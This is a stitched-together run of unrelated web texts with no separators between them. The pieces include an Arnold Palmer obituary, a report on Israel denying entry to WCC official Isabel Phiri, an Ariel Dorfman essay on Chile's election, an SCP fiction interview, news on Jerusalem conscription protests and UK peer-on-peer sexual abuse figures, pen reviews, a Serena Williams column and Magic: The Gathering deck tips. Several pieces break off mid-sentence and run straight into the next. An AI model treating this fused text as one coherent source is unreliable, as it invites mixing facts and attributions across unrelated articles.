It was the way he treated people, looking everyone in the eye with a smile and a wink. He signed every autograph, making sure it was legible. He made every fan feel like an old friend.
Palmer never like being referred to as 'The King,' but the name stuck.
'It was back in the early '60s. I was playing pretty good, winning a lot of tournaments, and someone gave a speech and referred to me as 'The King,'' Palmer said in a November 2011 interview with the AP.
'I don't bask in it. I don't relish it. I tried for a long time to stop that and,' he said, pausing to shrug, 'there was no point.'
Palmer played at least one PGA Tour event every season for 52 consecutive years, ending with the 2004 Masters.
He spearheaded the growth of the 50-and-older Champions Tour, winning 10 times and drawing some of the biggest crowds.
He was equally successful off with golf course design, a wine collection, and apparel that included his famous logo of an umbrella.
He bought the Bay Hill Club & Lodge upon making his winter home in Orlando, Florida, and in 2007 the PGA Tour changed the name of the tournament to the Arnold Palmer Invitational.
Palmer gets a hug from Miss Golf during the 1958 Masters Tournament at Augusta National Golf Club
Palmer (right) presents Jack Nicklaus with his green jacket after winning the 1963 Masters
He also has a popular drink named after him, a combination of iced tea and lemonade that is known as an 'Arnold Palmer.'
Palmer has said that he often drank a mixture of the drinks at home, but ordered one at a bar in 1960 during the U.S. Open at the Cherry Hills Country Club in Denver.
He said a woman overheard his order and requested 'that Palmer drink' - giving the cocktail its name.
Irish golfer Padraig Harrington recalled eating in an Italian restaurant in Miami when he heard a customer order one.
'Think about it,' Harrington said. 'You don't go up there and order a 'Tiger Woods' at the bar.
'You can go up there and order an 'Arnold Palmer' in this country and the barman — he was a young man — knew what the drink was. That's in a league of your own.'
Mass-produced versions of the drink have been sold under Palmer's name since the early 2000s.
But nothing defined Palmer like that 1960 U.S. Open at Cherry Hills.
Palmer (left) is pictured with his fellow former Masters champions Jack Nicklaus and Gary Player in 2014
Palmer attends a press conference during the ceremonial tee-off before first round play in the 2012 Masters Golf Tournament at the Augusta National Golf Club in Augusta, Georgia
He was seven shots behind going into the final round when he ran into Bob Drum, a Pittsburgh sports writer.
Palmer asked if he could still win by shooting 65, which would give him a four-day total of 280. Drum told him that 280 'won't do you a damn bit of good.'
Incensed, Palmer headed to the first tee and drove the green on the par-4 opening hole to make birdie.
He birdied the next three holes, shot 65 and outlasted Ben Hogan and 20-year-old amateur Jack Nicklaus.
Palmer went head-to-head with Nicklaus two years later in a U.S. Open, the start of one of golf's most famous rivalries. It was one-sided.
Nicklaus went on to win 18 majors and was regarded as golf's greatest champion. Palmer won two more majors after that loss, and his last PGA Tour win came in 1973 at the Bob Hope Classic.
Tom Callahan once described the difference between Nicklaus and Palmer this way: It's as though God said to Nicklaus, 'You will have skills like no other,' then whispered to Palmer, 'But they will love you more.'
Honorary starter Arnold Palmer (right) is congratulated by fellow golf greats Gary Player (left) and Jack Nicklaus (center) after hitting his drive during the ceremonial tee-off before first round play in the 2012 Masters Golf Tournament
WHAT'S IN A NAME? FOR 'ARNOLD PALMER,' IT'S ICED TEA AND LEMONADE Arnold Palmer is pictured holding a glass of the beverage named after him, which contains a mixture of lemonade and iced tea Raise a glass to celebrate the life of golf's 'King' - and make it an Arnold Palmer. 'I imagine that Arnold Palmer walks into a restaurant and they ask him what he's drinking, and he says, "What the hell do you think I'm drinking,"' comedian Will Arnett once cracked. Some sports greats have a trophy named in their honor. Others, a spiffy stadium or a playing surface. Palmer, who died Sunday at 87, had a much more refreshing choice, a mixture of lemonade and iced tea that was named for him. He created a stir on the course and with his drink that made him as much a cultural icon as much as his Grand Slam victories. Around the world, all you had to do was say his name and you could get the perfect mix of iced tea and lemonade. Palmer loved iced tea and suggested to his wife, Winnie, one day that she make a big pitcher of the drink. For fun, he suggested a dose of lemonade to mix things up. He drank it for lunch and loved it so much that the concoction would become a part of his daily routine. 'I thought, boy, this is great babe,' he said in an ESPN documentary. 'I'm going to take it when I play golf. I'm going to take a thermos of iced tea and lemonade.' Palmer would stick his name and likeness on a mass produced Arnold Palmer drink distributed by Arizona Beverage Company The secret to a perfect Arnold Palmer, go heavy on the iced tea with just a splash of lemonade. Palmer said he was overheard ordering the drink in a restaurant and a nearby patron said she wanted an Arnold Palmer. Legend has it, the name stuck and - even if he didn't invented the drink, he sure did popularize the beverage. The perfection was in its simplicity, ideal for a summer day, the end of a round of golf or lunch with the kids. Palmer would stick his name and likeness on a mass produced Arnold Palmer drink distributed by Arizona Beverage Company. He poked fun at the drink in pop culture and appeared in an ESPN SportsCenter commercial where he stood in line and poured himself iced tea from one dispenser and lemonade from another to mix the drink. Palmer's drink was parodied down to his last day. 'The Simpsons' poked fun in Sunday's episode by having Homer Simpson plot with one of his friends to fill water guns with iced tea and lemonade so he could 'Arnold Palmer Lenny when he walks in!' 'Arnold Palmer Lenny. You're going to Arnold Palmer Lenny,' Marge Simpson said. 'Arnold Palmer was a golfer and he made up this drink where it's not a full glass of lemonade or a full glass of iced tea,' Homer explained. Yes, even a dolt like Homer Simpson could make the drink. And the rest of us could enjoy one.
'I think he brought a lot more to the game than his game,' Nicklaus said in 2009.
'What I mean by that is, there's no question about his record and his ability to play the game. He was very, very good at that. But he obviously brought a lot more. He brought the hitch of his pants, the flair that he brought to the game, the fans that he brought into the game.'
Palmer combined power with charm, reckless abandon with graceful elegance. Golf no longer was a country club game for old men who were out of shape. He was a man's man, and he brought that spirit to the sport.
It made him a beloved figure, and brought riches long after he stopped competing.
That started with a handshake agreement with IMG founder Mark McCormack to represent Palmer in contract negotiations.
Palmer's image was everywhere, from motor oil to ketchup to financial services companies.
Even as late as 2011, nearly 40 years after his last PGA Tour win, Palmer was No. 3 on Golf Digest's list of top earners at $36million a year. He trailed only Woods and Phil Mickelson.
And after he returned to golf a few months after being diagnosed with prostate cancer in 1997, which had been caught early, Palmer winked at fans as he waded through the gallery.
'I'm not interested in being a hero,' Palmer said, implying that too much was made about his return from cancer. 'I just want to play some golf.'
That, perhaps, is his true epitaph. He lived to play.Isabel Phiri is first foreigner denied entry because of alleged involvement with Palestinian-led BDS movement
Israel has denied entry to a prominent theologian and academic for her alleged activism in the Boycott, Divestment and Sanctions (BDS) movement – the first time officials say a foreign national has been refused entry for that reason.
Isabel Phiri, who is an assistant general secretary with the World Council of Churches in Geneva, was refused a visa at Israel’s Ben Gurion airport on Monday afternoon.
The inter-church organisation condemned the move saying it was based on false and inaccurate information.
While pro-Palestinian foreign activists are often turned away by Israel, officials said it was the first time a foreign national had been refused entry specifically for pro-BDS activities.
Star authors call for Israeli-Palestinian dialogue rather than boycotts Read more
Israel’s interior minister, Aryeh Deri, said he had decided against issuing the visa after consultation with the public security minister, Gilad Erdan, who is also in charge of countering anti-Israel boycotts.
In a statement to media, Deri said: “Granting an entry permit to activists such as Phiri would in effect reinforce the wrongful activities she and her peers are advancing and I have no intention of lending a hand to that. I will use any authority at my disposal to avert harm to Israel.”
Erdan said: “The place of the boycotters is outside the country’s borders and we shall continue to do everything possible to prevent them from entering our country.”
The claims were denied by Olav Fykse Tveit, the general secretary of the WCC, who accused the Israeli authorities of discrimination by singling out the only African member of the delegation, describing the move as “patently unjust and discriminatory action against Phiri”.
Speaking to the Guardian, Tveit said that far from working to delegitimise Israel, the WCC had recognised Israeli statehood in 1948, regarded “antisemitism as a sin” and had no connection to BDS.
“I am very surprised and dismayed that the Israeli ministry of interior is apparently basing its decisions on incorrect and unreliable sources.” He added that the WCC volunteers and staff in Israel worked as observers and that his organisation was committed to a just two-state solution under international law.
“The accusations made against the WCC and the [accompaniment] programme in the interrogation of Dr Phiri and published in the [Israeli] media today are completely false.”
That programme recruits observers to Palestinian towns and villages to offer a “protective presence to vulnerable communities” and to monitor and reporting rights abuses, he added.
The decision to refuse entry to Phiri is likely to be controversial because of her profile. Before joining the WCC Phiri was a professor of African theology, and head of the school of religion, philosophy and classics at the University of KwaZulu-Natal in South Africa.
The WCC represents churches, denominations and church fellowships in more than 110 countries, and claims to represent more than 500 million Christians and including most of the world’s Orthodox churches, scores of Anglican, Baptist, Lutheran, Methodist and Reformed churches, as well as many United and independent churches.
Justifying the refusal of Phiri’s visa, Israeli ministers cited pro-Palestinian activities of the WCC which include its accompaniment programme. Under the scheme, the WCC has brought 1,500 volunteers to Israel.
A bill to prevent foreign supporters of the BDS movement from entering Israel is going through the Knesset, Israel’s parliament, although ministers have the right to deny individuals entry on a case-by-case basis.
In a sign of the increasing pressure on BDS supporters both foreign and otherwise, Israel this year refused permission to one of the movements co-founders, Omar Barghouti, who is married to an Israeli citizen of Palestinian origin, to travel out of the country for a speaking tour.
The issues of BDS – a Palestinian grassroots initiative with growing international support – have become significant for the Israeli hard right coalition as prominent companies including Veolia, Orange – and most recently the British-based security firm G4S – have downscaled operations in Israel after public campaigns.Hello everyone,
I'm organizing a Nashville Meetup on 10/20 at 6PM at the Emma Bistro. The Emma Bistro is located at 9 Lea Ave Nashville, TN 37210 and you can get more details about the space at http://myemma.com/bistro. Including a map showing which building it is in. There is plenty of room there to bring your collection and let people play with some different types of boards. I’ll bring be bringing 3 topres, a matias quiet click, and my new custom built Sprit board with GreeTech Browns. I’ll also bring a ton of different keycap types so people can see some of the differences. And we’ll have some giveaways for keycaps, pullers, carry cases etc. The event will be bring your own food, and we can separate the food from the keyboards Your babies will be far away from the mountain dew. So join me for a night of sharing our weird love of keyboards.When General Fernando Matthei steps out to vote in Chile's presidential election on Sunday, three names will echo back at him through 40 years of history. First, there is his daughter Evelyn, just turned 60, standard bearer of the beleaguered right. Then there is Michelle Bachelet, daughter of his erstwhile childhood friend Alberto, another air force general who found himself on the receiving end of the coup that tore Chile apart 40 years ago. Finally, there is Marco Enríquez-Ominami, son of the revolutionary leader executed by the post-coup regime that Matthei supported through the prime of his career.
Three candidates, three fathers, one election. And an awful lot of history.
Evelyn Matthei, representing the rightwing Alliance that governs the country, is in dire need of her father's vote. She not only trails former president Bachelet by at least 20 points, but also could even be knocked into third place, a result that would be ignominious for Chilean conservatives that managed, only four years ago, to elect Sebastián Piñera as head of state.
But to General Matthei, the Bachelet name means far more than a candidate on a ballot slip. Alberto was his close friend, a man whom his daughter called Tio [Uncle] Beto, who died in March 1974 of a heart attack brought on by the torture he was subjected to during the six months that followedfollowing the September coup that ousted democratically elected president Salvador Allende.
Fernando Matthei was a military attache at the London embassy when the coup led by Augusto Pinochet destroyed Chilean democracy. He could do nothing to help the friend with whom he used to exchange classical records and talk into the night about sports, politics and literature. But his failure to act could no longer be justified, however, when he returned to Santiago at the end of 1973 and was named director of the aviation's War Academy – the very building in which Alberto Bachelet was to die two months later. Though several judicial reviews and trials found that then Colonel Matthei had no penal culpability in the death of General Alberto Bachelet – the cellars where his comrade-in-arms were being tormented were off limits to anyone not working as an interrogator – the guilt still haunts him. In his 2009 book, he admitted: "Prudence outweighed courage."
Not even the most delirious novelist could have imagined a more unusual history of differing destinies. One dies because he had the courage, though perhaps not the prudence, of accepting to head the distribution and food centre of Allende's government, a post that had ministerial status. The other lives a life of excessive prudence and no courage and is ultimately named to the ruling junta. General Matthei also served as health minister in Pinochet's cabinet – a portfolio that Michelle Bachelet held a generation later. As for Evelyn Matthei, she was a senator and then labour minister in Piñera's government. A study in contrasts: the socialist who became Chile's president and the conservative who aspires to that presidency.
But there's another twist. In the polling booth, General Matthei will not fail to recognise the name of another candidate whose father will not be able to vote because he was killed by the dictatorship. Marco Enríquez-Ominami is the son of Miguel Enríquez, the legendary leader of the Movimiento de Izquierda Revolucionaria (Movement of the Revolutionary Left) who was riddled with bullets on a Santiago street in October 1974. Marco was 18 months old at the time. Forty years later, he is catching Evelyn Matthei in the polls. If he eclipses her, he will face Bachelet in a runoff, allowing the people of Chile to choose between two progressive candidates and their vision of the future. It is an improbable scenario but not impossible if we let imagination run wild.
Of all the protagonists of this story, Miguel is the one I knew best. My wife Angélica and I were his friends to the point that, though we did not agree with his theory of armed struggle as the path to freedom, we risked our lives in order to give him and other MIR militants refuge in our small house in Santiago in 1970 when they went underground during the administration of Christian Democrat Eduardo Frei Montalva proclaiming the need for a Cuban-style assault on power.
What would Miguel say if he could see his son upholding the need to transform and modernise Chile using peaceful means, if he could watch his son refusing the violence he himself feverishly believed in? So many other Latin American revolutionaries who survived the dictatorships of the past came to understand that democracy, rather than the straitjacket of the poor seeking liberation, is the essential precondition for any deep change, any permanent justice. Perhaps then, Miguel would have matured in a similar way, Miguel who was so imprudent in ideas and actions but at the same time showed such exemplary courage in his life, so animated by a thirst for a better world that still moves me when I think of him. I would have liked to have discussed these and other matters, as we did such a long time ago when he slept at our house in Santiago.It is a conversation we will never have.
Presidential hopeful Marco Enríquez-Ominami was 18 months old when his father was killed. Photograph: Felipe Trueba/EPA
The regime that Fernando Matthei served with such blind allegiance executed Miguel Enríquez in cold blood, killed him as it killed and disappeared thousands of other compatriots.
If the son of one of the victims would beat the daughter of one of the accomplices, would that not suggest that Chile has definitely turned its back on the legacy of Augusto Pinochet and his dictatorship?
But there is in this implausible story of ghosts and fathers, children and guilt, yet one more turn of the historical screw. It was the same craven General Matthei who ultimately helped Chile on to the road of the free elections it now takes for granted. Matthei's redeeming moment came the night of the 1988 plebiscite, which would decide whether Pinochet retained power indefinitely. When Pinochet tried to deny his defeat at the ballot box and launch another coup, it was General Matthei who blocked that manoeuvre, publicly recognising the victory of the No option, and thus opening the way for Chile to return to democracy.
I would like to believe that Fernando Matthei, that night of the plebiscite, was paying a debt he owed to his old friend Alberto, confronting Pinochet with the valour he had not shown 14 years earlier when he had not even dared to visit, let alone console, the comrade who was being tortured a fewyards away from his office at the War Academy.
It is a debt, however, that has not yet been entirely settled. General Matthei, now 88 years old, still has another gesture of redemption with which he would be able to silently signal his real repentance, dispel, perhaps for ever, the phantoms that will not leave him alone. It would be a simple gesture, though not without risk. All it would take is for the general, when he enters the polling station on Sunday and looks at the list of candidates for president, to decide clearly and categorically to mark the name of Michelle Bachelet. Perhaps he knows it would mean the world to her that her Tío Fernando cast that vote, cast it because her father Alberto unfortunately cannot do so.
Ariel Dorfman's latest book is Feeding on Dreams: Confessions of an Unrepentant Exile. He lives with his wife, Angélica, in Durham, North Carolina and, when time permits, in their native ChileRelated Quotes What ever you do, do it well. Do it so well that when people see you do it they will want to come back and see you do it again and they will want to bring others and show them how well you do what you do.
– Walt Disney We may encounter many defeats but we must not be defeated – Maya Angelou We should not give up and we should not allow the problem to defeat us – Abdul Kalam Visualize this thing you want. See it, feel it, believe in it. Make your mental blueprint and begin. – Robert Collier You are today the result of your thoughts of yesterday, and the many yesterdays preceeding it. You are forming today the mold for what you will be in the years to come. – Robert Collier All power is from within and therefore under our control. – Robert CollierInterviewed: SCP-2817-1
Interviewer: Dr. Tamar Geffen
<Begin Log █/██/█>
Dr. Geffen: Tell me about the first time SCP-2817-2 approached you.
SCP-2817-1: We were very small children. Maybe five or six? Tom and I were inseparable at that age, we always had a very close relationship. At that age we shared a bedroom, I remember this vividly, a bedroom. And we slept in this very tall bunkbed our parents had set up. I always got the top and he always was on the bottom and I remember hearing Tom shout about "tall legs" besides the bed in the middle of the night a few times.
Dr. Geffen: Tall legs?
SCP-2817-1: (nods) He was the first one to see him. I probably had my first encounter with our monster about a month later. I mean before, I had only seen Tom's drawings of him.
Dr. Geffen: Did your brother feel a stronger connection with it?
SCP-2817-1: Not really. He was there for us both. We called him The Carpet King because he carried that boney scepter around and we had a rug in our bedroom that was the same color as his skin. We weren't scared of him after a while because he never seemed evil or threatening, just sort of sad and lonely. He was our friendly monster.
Dr. Geffen: How did you know what it wanted?
SCP-2817-1: He never talked ever, but we just sort of understood what he wanted and why. I can't really explain. I remember he gave us the axe and robes and was very insistent that we take them and we like them. I think in all the years I've known him, it's the only time he smiled.
Dr. Geffen: So you never felt like SCP-2817-2 wanted to harm you?
SCP-2817-1: Never. He was just the monster in the closet who showed up every month and wanted to die. He taught us how to perform the ritual and explained why but we didn't really understand then, but it seemed to make him feel better. I think he trusted us for some reason.
Dr. Geffen: How did you react to its personality as a young child?
SCP-2817-1: It's…um. Well. It's odd, I really sort of took to it. You know? Not like that of course, but I felt sorry for him. I really can't say anything bad for the guy, I mean. Sure, he has this tendency to decimate populations, but we all have our vices, right? At least he says he won't do anything to Earth, maybe. I don't know. It's important for me that people around me are happy, that's the thing. And, for me and my brother, we were taught that the best way to make people happy is to do what they ask. I mean, the guy is punishing himself. Surely that's proof he wants to change?
Dr. Geffen: But it seems it hasn't changed. It still comes to you. Why is that?
SCP-2817-1: When someone's making a life change, you gotta support them. You gotta love them and encourage them. And the love a caretaker receives back is something special, let me tell you.
Dr. Geffen: Would you consider yourself a caretaker to SCP-2817-2? Or a judge?
SCP-2817-1: (SCP-2817-1 shrugs) Honestly, there's no difference to me anymore. Punishment is care. Whether you receive it or dish it out. It's how you know you're being looked out for. It's how you know you need to try harder to receive love. That you're not ready for it yet.
Dr. Geffen: Do you consider SCP-2817-2 to be a good person?
SCP-2817-1: (SCP-2817-1 shrugs again) I would never betray him. Just the way he is, that's justification for what he does. I just can't feel anything less than love for him. (SCP-2817-1 laughs.) Maybe it's just me, I dunno. Maybe I'm a pushover for monsters. (SCP-2817-1 smiles.)
<End Log>PORTLAND, Ore. -- After an already snowy winter, Portland could be in store for another round later this week.
The city of Portland says this time it's going to get creative about the way it handles it.
The announcement comes as city crews continue to clean up from the recent storms.
At the Hoyt Arboretum, crews have cleaned up numerous truckloads of downed branches. They are even working to repair a washed-out trail.
Meantime, Portland Bureau of Transportation crews continue to patch potholes across the city. The bureau says it normally gets 10 to 20 calls a day about potholes. After the recent storms, it's getting double that amount.
It adds, it is keeping a close eye on the forecast and will announce its storm plan Wednesday afternoon.
At that time it will address whether or not it will use salt on the roads.
"At this point we’re thinking creatively and we'll keep folks posted if we do use salt and where that might be," explained PBOT spokesperson Dylan Rivera.Nearly a dozen ultra-Orthodox Jews were arrested in Jerusalem after violent clashes with police and riot control forces following protests over a law on mandatory conscription into the Israeli Defense Forces.
The clashes took place Sunday after the arrest of 40 Orthodox Jews who refused to serve, including the grandson of a rabbi from the Toldos Avrohom Vitzchok, a strongly anti-Zionist Hasidic movement based in the Jerusalem neighborhood of Meah Shearim, where the protests took place.
The protests came following a Supreme Court ruling annulling a law which exempted ultra-Orthodox from military service.
Before clashes began, Rabbis from Toldos Avrohom Vitzchok gave speeches, carried a banner reading 'We're Jews and therefore will not enlist in the Zionist army," and blocked off a local thoroughfare to traffic.
Both sides were reported to have used violence, although photo and video evidence from the protest show the police employing especially brutal behavior.
Protesters threw stones and garbage cans and blocked off roads, while police and army officers were seen punching, kicking and violently shoving protesters, as riot control trucks sprayed protesters from a water cannon. Clips also showed police attacking passersby who weren't even part of the protests.
Ultra Orthodox Jew in #Jerusalem protest the law that will allow the Israeli government to draft them to the #Israeli army. pic.twitter.com/gDOdCNx6EI — Nasser Atta (@nasseratta5) 17 сентября 2017 г.
15 ultra Orthodox Jew mostly students were arrest today, still rejecting Israel gov law to draft them to the #Israeli army. #Jerusalem pic.twitter.com/IHrdxhOAgr — Nasser Atta (@nasseratta5) 17 сентября 2017 г.
Conflicting reports estimate that between eight and 11 protesters were arrested. Two more were reported hospitalized. Police said that seven of their officers were also wounded and required medical assistance.
Police defended their behavior, issuing a statement saying that protesters had "disturbed the peace," "laid down on the road," and "shouted slogans against the police; some of them threw stones at police." However, the Ministry of Justice department involved in investigating police misconduct has begun collecting testimony and footage over allegations of police brutality.
In Israel, the Toldos Avrohom Vitzchok sect is considered extremist, but not violent. Members rarely hold demonstrations, and, as a rule, don't call for attacks on the military.
Compulsory military service is a delicate issue in Israel, where all men and women over the age of 18 must serve two years and eight months, or two years, respectively. Ultra-Orthodox Jews oppose compulsory service, some arguing that their seminary studies are just as important to the community, while others believe that the Jewish state itself should cease to exist.This article is over 1 year old
Almost 30,000 reports of children sexually assaulting other youngsters, including 2,625 alleged attacks on school premises, have been made to police in the last four years, figures reveal.
The data released by 38 of the 43 forces in England and Wales, in response to freedom of information requests, showed reports of so-called “peer on peer” abuse rose from 4,603 in 2013 to 7,866 last year – an increase of 71%.
My brother bullied me growing up, but my parents denied it happened Read more
But 74% reported to 36 forces between 1 April 2013 and 31 May 2017 resulted in no further action, according to the figures obtained by BBC’s Panorama.
The investigation found that 2,625 reported sexual offences, including 225 alleged rapes, carried out by under-18s on other children happened on school premises, including primary school playgrounds, across 31 force areas.
Figures from 30 forces showed reports of sexual offences by children aged 10 and under more than doubled from 204 in 2013-14 to 456 in 2016-17.
Some children – anonymised to protect their identities – who were interviewed by the current affairs programme told how they felt bullied, let down and isolated after reporting abuse.
“It’s not what actually happens that has the worst effect on you, it’s what comes after it,” said one. “It’s the being disbelieved – it’s the people failing you.”
Another said: “We’d be on the bus, they’d throw things at me or shout things and make comments. It’s not always even him, it’s his friends.”
Abused children and their parents also spoke of struggles to get help from schools or the authorities.
One victim said: “There was no talk about the police or telling his parents or taking it further, it was only really, ‘oh block him’, or ‘stay away from him in lesson’.”
Another victim’s parent said: “I couldn’t actually believe that we’re in the 21st century in Great Britain and we are allowing sexual abuse to continue... and for victims to go unsupported.”
Government guidance tells teachers they have a legal duty to report allegations of sexual assaults on children by adults.
But Panorama claims there is no such |
was Pence not made aware of that, no one around Pence was as well," the source said. "And that's an egregious error — and it has to be intentional. It's either malpractice or intentional, and either are unacceptable."
This puts Pence in an interesting position. Either his job as head of the Trump transition team was largely an honorary position, like riding the pace car at Indy, or The Choirboy is sprinting for the lifeboat, trailing a slipstream of mendacity behind him. In either case, there's a certain low cunning to these events. I didn't think The Choirboy had it in him, but then I remembered what Machiavelli wrote about Pope Alexander VI, the father of his principal patron, Cesare Borgia, whom Machiavelli presented as a con man who did more "with money and force of arms" than any other pope. Machiavelli would've seen the president* coming from miles away. Apparently, Mike Pence needed to be a little closer.
Respond to this post on the Esquire Politics Facebook page.WATCH: The New York Times reported on Friday that Trump told the Russians he "faced great pressure" because of the ongoing investigations into Russian meddling.
WATCH: The New York Times reported on Friday that Trump told the Russians he "faced great pressure" because of the ongoing investigations into Russian meddling.
Speaker of the House Paul Ryan offered a blunt assessment of President Donald Trump's recent setbacks, saying in a radio interview Friday that he's had "a bad two weeks."
Appearing on Hugh Hewitt's radio show, Ryan dismissed speculation that Trump's setbacks and turmoil in the White House would hurt the GOP majority and Republicans' agenda.
"Blah, blah, blah, blah, blah is what I say about that stuff," said Ryan. "This is what I call the white noise of Washington-Beltway media. We're busy doing our work."
He later added: "If we keep our promises and do our work, I think people will reward us."
Asked about Trump's performance, Ryan said, "Obviously he clearly did have a bad two weeks."
"It's clearly my hope that he does... right the ship, that he improves so that we can just get going," said the speaker.
Ryan said that he hopes the Senate passes health care by the August recess and added that he is concerned by the leak of a GOP leadership recording to The Washington Post in which House Majority Leader Kevin McCarthy, R-California, joked about Russian President Vladimir Putin paying Trump.
"I've never seen anything like this," he said. "That's a pretty bizarre thing to happen, so obviously that's a cause of concern of ours."Prime Members: Amazon has Sample Boxes with Credit for Future Purchases as listed below.
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Eligible Items for Purchase w/ CreditWe're still not entirely sure what exactly Death Stranding is, but during Sony's pre-TGS conference this morning Hideo Kojima took to the stage to offer some tiny nuggets of info.
The game will be open world and with that comes a "degree of freedom". There will also be a story for players to experience whilst exploring the open world, plus "some online elements". Sounds much like a game then.
Kojima also chatted about whales and dolphins, and how they can find themselves stranded either dead or alive. We're pretty sure neither sea creature will play a major role in Death Stranding.
4K and HDR support was also reconfirmed, and Kojima said he has settled on a game engine, though didn't say which.
The following image was also released, showing who we believe to be Guillermo del Toro, Norman Reedus; Hideo Kojima and a fourth person we can't place.
Kojima also announced he'll be at the PlayStation Booth this weekend at TGS and is ready to answer your questions.As much as love writing with a fountain pen, it’s not always the right tool for the job. For jotting random notes, you’re better off with something you don’t have to uncap. Obviously the Pilot Vanishing Point can do that, but its price kind of rules it out as the pocket pen that might end up in the wash.
Something about note taking or making grocery lists with a fountain pen feels like a slight to the instrument. Part of the fun of fountain pens is the ritual aspect. It’s nice to have a pen that’s just for long form writing.
That said, my fountain pen habit has raised my standards for what writing should feel like. I don’t have to use a fountain pen, but I can’t settle for any old pen. Fortunately, I don’t have to settle. There are some excellent jotters out there that are cheap, easy to find, and smooth. here are my favorites.
Pilot G2
The current go-to in my pen cup and the #1 pen on Amazon, the Pilot G2 excels at being average and dependable. This is the Honda Civic option. It’s reliable, everyone has one, and for those of us who move on to something nicer, this was often our first experience of a good pen.
I like it because it’s everywhere. This is the best pen you can buy at Rite-Aid or Walgreens. It’s cheap, and you’ll lose it before it runs out of ink.
There are smoother pens out there, even in the disposable category, but what brings me back to the Pilot again and again is its wide availability. For a look at its downsides, check out Office Supply Geek.
Bic Orange Ball Pen
Like Bic lighters, Bic pens are classics of functional thrift that outclass everything in their price range and many above it. They’re made insanely well and priced ludicrously cheap.
The Cristal and Orange Ball models have hexagonal barrels rather than round ones which make them more comfortable to grip than the round Bics, that is until you get writer’s cramp anyway because, after all, you’re writing with a ball point pen.
Bic claims their ball points contain enough ink to lay down 2km worth of ink. But that doesn’t matter, because you’ll never be attached enough to a single Bic to do that much writing with it. At around $5 for a pack of 20, these cost $0.25 apiece.
Zebra F-701
Or the Jason Bourne option… The Zebra’s barrel is made of solid steel, so it’s indestructible. This pen could save your life. It can be used to punch out glass to escape a wrecked or sinking car or as a last-ditch self defense weapon. But it’s also available wherever cheap pens are sold.
This recommendation comes from retired commando Clint Emerson’s book, 100 Deadly Skills.
Uni-ball Signo
Japan’s Uni-ball makes a line of inexpensive gel pens, some of which are widely available in the States, all of which are a joy to write with. If you’re not into fountain pens, but want a smooth writing experience, look no further. I like the Signo because it clicks open and makes for a great pocket pen, but for some reason, the UM151 and the Vision tend to write better and feel more substantial in the hand.
According to JetPen’s Comprehensive Guide to Uni-Ball, these pens owe their smoothness to an edgeless tip with rounded corners where the rolling ball meets the housing at the tip of the pen. The result is zero scratchiness no matter what angle you write at. Few fountain pens write this well.
Blackwing 601 Pencil
John Steinbeck wrote about this pencil, calling “the best he’s ever found.” Quincy Jones used it to correct his sheet music, Nabokov wrote with it–in lawn chairs and passenger seats while his wife, Vera, drove—and the creators of MadMen put it in the hands of the copywriters and the art department on that show. The cult following of this pen has a home online at BlackwingPages.
If you’re into fountain pens for the history and the heritage, the Blackwing delivers that in an erasable media. It was discontinued in 1998, but you can still buy it online.
DISCLAIMER: This post contains affiliate links. All Amazon prices and availability are subject to change, and only current as of the time of publication of this review.Serena Williams, the winner of 21 Grand Slam titles and arguably the greatest living female athlete, was understandably exhausted after defeating her sister and best friend Venus Williams in the U.S. Open earlier this week. So she wasn’t having it when, during a post-match press conference on Tuesday, a reporter had the gall to ask why she wasn’t smiling.
Williams looked down and gave an exasperated sigh before shelling out the best response an athlete has given in an interview since football player Marshawn Lynch’s “I’m just here so I won’t get fined” trademark phrase.
It’s 11:30. To be perfectly honest with you, I don’t want to be here. I just want to be in bed right now and I have to wake up early to practice and I don’t want to answer any of these questions. And you keep asking me the same questions. It’s not really … you’re not making it super enjoyable.
Nervous laughter may have broken out in the crowd, but what Williams expressed wasn’t a joke. All women are expected to perform femininity at the cost of being their authentic selves in the public sphere. Williams had just experienced what was likely one of the most emotionally and physically draining matches in her career. Taking on your sister in a high-stakes game isn’t easy. She had told the Associated Press before her win:
She’s the toughest player I’ve ever played in my life and the best person I know. It’s going against your best friend and at the same time going against the greatest competitor, for me, in women’s tennis.
It makes sense that she would not be smiling ear-to-ear during the media conference. But it turns out no matter how insanely accomplished or famous you become, you will still be subjected to the innocuous-sounding but ever-so-pernicious “why don’t you smile?” interjection from those who feel entitled to make demands of women. Williams’ retort was her attempt at dismantling that sense of entitlement. For those who say the reporter’s question was a harmless jest, they should ask themselves if Roger Federer or Rafael Nadal would ever be expected to defend their stern or tired expressions.
And the problem exists not just in the image-heavy world of professional sports. On Wednesday, Apple did little to change the public’s perception of the tech industry as a sexist one. During a launch presentation in San Francisco, the first woman to be seen on stage at the male-dominated event wasn’t a keynote speaker or even a presenter, but a model in a magazine photo. Adobe’s director of design used her image to show off the Photoshopping capabilities of the new iPad Pro.
What did he decide to Photoshop one might ask? A smile onto her face. He could have altered literally any aspect of any image he wanted but decided instead to force a woman’s visage into a grin.
What happened this week at the tennis conference and the tech launch are symptoms of the same problem. Women, whether athletes or models, are often seen as products. They’re meant to be consumed and enjoyed, and expressions of personality—like not constantly grinning—distract from their role as ornaments.
It’s the reason projects like Stop Telling Women to Smile by Tatyana Fazlalizadeh have cropped up to address the microaggressions women face on a daily basis. Women don’t exist to smile for men and aren’t obligated to present a cheerful disposition to the world. To expect that denies us our humanity and only reinforces male privilege.
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Anita Little is the associate editor at Ms. Follow her on Twitter.As I said last week, I have moved on from Elves — I’m currently on Bogles. So far, I have only played the list I copied from sakkra, but I have lots of thoughts and ideas I want to share here.
For the first time, I am also including a small breakdown of the decks I have faced this week. If this is something you are interested in, I will continue to do this. Once I have more extensive data, I might also devote a full article outlining metagame evolutions.
Without further ado, let’s get into the lessons I have learned in my first week playing Bogles.
(deckstats.net link, includes thoughts on some card choices and future ideas)
#105 — Efficiently casting spells.
The mana system on Magic Online is really weird (you will know how annoying this is if you follow @itsJulian23 on twitter). When you’re casting spells that cost hybrid mana, you will have to manually click the mana you have floating, so if you’re casting Slippery Bogle, you’re wasting clicks if you tap your land first.
Interestingly, if you have a land enchanted with Utopia Sprawl, casting your spell and then tapping the land will also make you click your mana, even if you’re casting a spell that costs G and your land taps for GG. Go figure.
To sum up, if you want to efficiently cast your spells, cast spells with hybrid mana costs before tapping your lands, but tap lands that produce more than one mana before casting your spells. Yes, reading this probably cost your more time than it will save you. Sorry.
#106 — You don’t have to attack.
Combat math is really tricky sometimes, especially when Lifelink is involved. When you have an 8/8 Lifelink Trample creature, it can seem like the obvious move to attack in order to gain life, but sometimes, once you factor in your opponent’s reach, not attacking can be the safer option.
